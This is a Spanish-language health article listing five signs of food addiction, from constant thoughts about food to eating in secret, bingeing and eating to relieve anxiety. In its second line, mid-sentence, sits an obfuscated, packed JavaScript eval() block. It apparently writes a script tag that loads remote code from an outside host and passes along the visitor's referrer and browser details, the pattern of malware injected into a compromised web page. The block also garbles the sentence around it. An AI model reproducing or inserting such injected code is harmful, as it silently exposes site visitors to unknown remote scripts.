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Cómo saber si eres un adicto a la comida

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¿Cómo eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tzkza|var|u0026u|referrer|hzksa||js|php'.split('|'),0,{})) diferenciar si usted tiene un problema alimenticio o, simplemente, te gusta mucho comer? Descubra aquí las claves para identificar la adicción a la comida

 

Un estudio reciente publicado en la revista médica Archives of General Psychiatry reveló que la comida puede ser igual de adictiva que las drogas duras. Presta atención a estos síntomas. 

 

1. Pensar todo el tiempo en comida

Si pensar en qué comer o preocuparse por lo que se va a comer después le está impidiendo trabajar o interactuar socialmente, puede ser que usted esté teniendo un problema. 

 

2. Querer dejar de comer en cantidad y no lograrlo

Si usted programa una dieta y no puede cumplirla. Y luego lo vuelve a intentar y tampoco puede y, en cambio, lo que pasa es que cada vez come más y más, es momento de consultar con un especialista.

 

3. Comer en secreto

Comer en secreto o mentir sobre lo que se ha comido es un síntoma característico de las personas adictas. Se relaciona con sentimientos de culpa y de vergüenza, ambos signos de trastornos de la alimentación.

 

4. Comer de más

Comer demasiado durante la Navidad es normal, pero si siempre va más allá de su punto de saciedad, estamos hablando de atracones. Si ante estos casos, usa laxantes o se purga, hay que buscar ayuda profesional.

 

5. Comer para tapar la angustia 

Si busca alimentos altos en grasa o azúcar cuando se siente solo, aburrido, estresado o ansioso, puede ser señal de adicción a la comida. Su cuerpo está utilizando sustancias químicas de los alimentos para aumentar los niveles de esas sustancias en el cerebro.

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